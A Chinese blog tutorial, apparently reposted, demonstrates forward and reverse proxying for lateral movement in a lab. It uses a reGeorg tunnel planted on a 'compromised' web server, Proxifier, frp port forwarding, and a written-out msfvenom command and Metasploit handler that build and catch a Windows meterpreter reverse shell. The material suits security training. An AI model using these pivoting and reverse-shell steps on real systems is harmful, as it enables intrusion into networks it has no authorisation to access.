devbox
从前慢现在也慢
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

演示正向代理与反向代理_socks正向代理

作者：从前慢现在也慢 | 2024-07-24 03:24:42

赞

踩

socks正向代理

流量代理

正向代理

正向代理是客户端和其他所有服务器（重点：所有）的代理者

1、演示正向代理与反向代理

在这里插入图片描述
在这里插入图片描述

socks5协议

和http协议一样，都是应用层协议

目的：提供代理服务

作用：socks5客户端直接把想访问的ip发送给socks5服务器，当数据包到socks5服务器，socks5服务器会尝试发包到想访问的ip

正向代理实验

搭建实验环境

准备：

  • win11 nat一个网卡

  • server2016（失陷主机） nat vmnat1仅主机(配置静态ip 10.1.1.1)两个网卡

  • 内网主机（内网主机） 仅主机一个网卡(配置静态ip 10.1.1.2)

注意：phpstudy版本要调低一点，否则可能出问题

win11可以访问失陷主机的phpinfo.php

在这里插入图片描述

win11不可以访问内网主机的phpinfo.php

在这里插入图片描述

失陷主机可以访问内网主机的phpinfo.php

在这里插入图片描述

win11:

安装一个proxy
在这里插入图片描述

将reGeorg-master.zip压缩包放到win11,并且解压
在这里插入图片描述

在失陷主机server2016的web根目录下放一个文件

在这里插入图片描述

访问这个php文件，看到这个提示，说明成功

在这里插入图片描述

win11里搭建socks5服务

python2 .\reGeorgSocksProxy.py -p 8080 -u http://10.4.7.138/tunnel.nosocket.php

  • 1

-u 会把本地socks5流量 发送给后面追加的链接

在这里插入图片描述

给proxy做配置

在这里插入图片描述

挂上代理

在这里插入图片描述

访问10.1.1.2可以访问了

在这里插入图片描述

安装客户端

在这里插入图片描述

作用：截取整个主机的所有可执行文件

给内网主机开启3389远程服务

在这里插入图片描述

使用攻击机远程连接内网主机

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

远程连接内网主机10.1.1.2
在这里插入图片描述
在这里插入图片描述

成功连接到内网主机

在这里插入图片描述

查看Proxifier

在这里插入图片描述

反向代理

反向代理是客户端和所要代理的服务器之间的代理。

在这里插入图片描述
在这里插入图片描述

流量转发工具

需要放在拿到shell的服务器上可使用

1.lcx

端口流量转发，不具备完整的proxy代理功能

2.msf

3.cobalt Strike

4.earthworm

5.reGeorg

本地的客户端可以使用

*windows*

1.proxifier

2.SocksCap64

linux

1.proxychains4

vim /etc/proxychains4.conf

反向代理实验

在这里插入图片描述

frp客户端向服务器发起连接请求，连接成功以后，服务器会把自己收到的流量转发给客户端

frp客户端和服务器都有自己的配置文件，服务器哪个端口接受的流量发送给客户端的哪个端口，都必须在配置文件写流量

搭建实验环境

  • kali nat模式

  • dmz主机（win7） 桥接模式

  • 真实机 服务端

真实机 配置frp服务端

frp_0.36.2_windows_amd64.zip 解压到桌面

!

frp_0.36.2_windows_amd64文件夹文件含义

在这里插入图片描述

客户端配置文件内容及含义

在这里插入图片描述

真实机 开启frp服务端
.\frps.exe -c frps.ini

  • 1

在这里插入图片描述

回车一定要回车一下！！！！

在这里插入图片描述

kali 客户端 解压缩到桌面

tar xf frp_0.36.2_linux_amd64.tar.gz

  • 1

在这里插入图片描述

┌──(kali㉿kali)-[~/Desktop]
└─$ cd frp_0.36.2_linux_amd64 
                                                                   
┌──(kali㉿kali)-[~/Desktop/frp_0.36.2_linux_amd64]
└─$ ls
frpc           frpc.ini  frps_full.ini  LICENSE
frpc_full.ini  frps      frps.ini       systemd

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述

修改客户端的配置文件
[common]
server_addr = 10.9.47.193
server_port = 7000

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6789
remote_port = 6789

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述

local_port: 生成木马时木马要连接什么端口

remote_port:当远程主机的哪个端口接受流量时发送给本机

当10.9.47.193的6789端口收到流量时会发送给kali主机的6789端口

开启客户端服务
sudo ./frpc -c frpc.ini

  • 1

在这里插入图片描述

真实机（服务端）显示连接成功

在这里插入图片描述

kali（客户端）生成一个木马

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.47.193 LPORT=6789 -f exe -o test.exe

  • 1

-p 指定的使用的payload

LHOST 连接哪个主机

LPORT 连接哪个端口

在这里插入图片描述

将生成的木马复制到dmz主机

将kaili的6789端口打开

sudo msfconsole

  • 1

在这里插入图片描述

用于metasploit接收会话的模块

use exploit/multi/handler

  • 1

在这里插入图片描述

设置payload

set payload windows/meterpreter/reverse_tcp

  • 1

监听本地主机

set LHOST 127.0.0.1

  • 1

监听哪个端口号

set LPORT 6789

  • 1

跑一下

run

  • 1

在这里插入图片描述

在这里插入图片描述

双击exe ，在kali监听的6789端口 执行命令，发现已经反弹到了win7里

在这里插入图片描述

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/872699
推荐阅读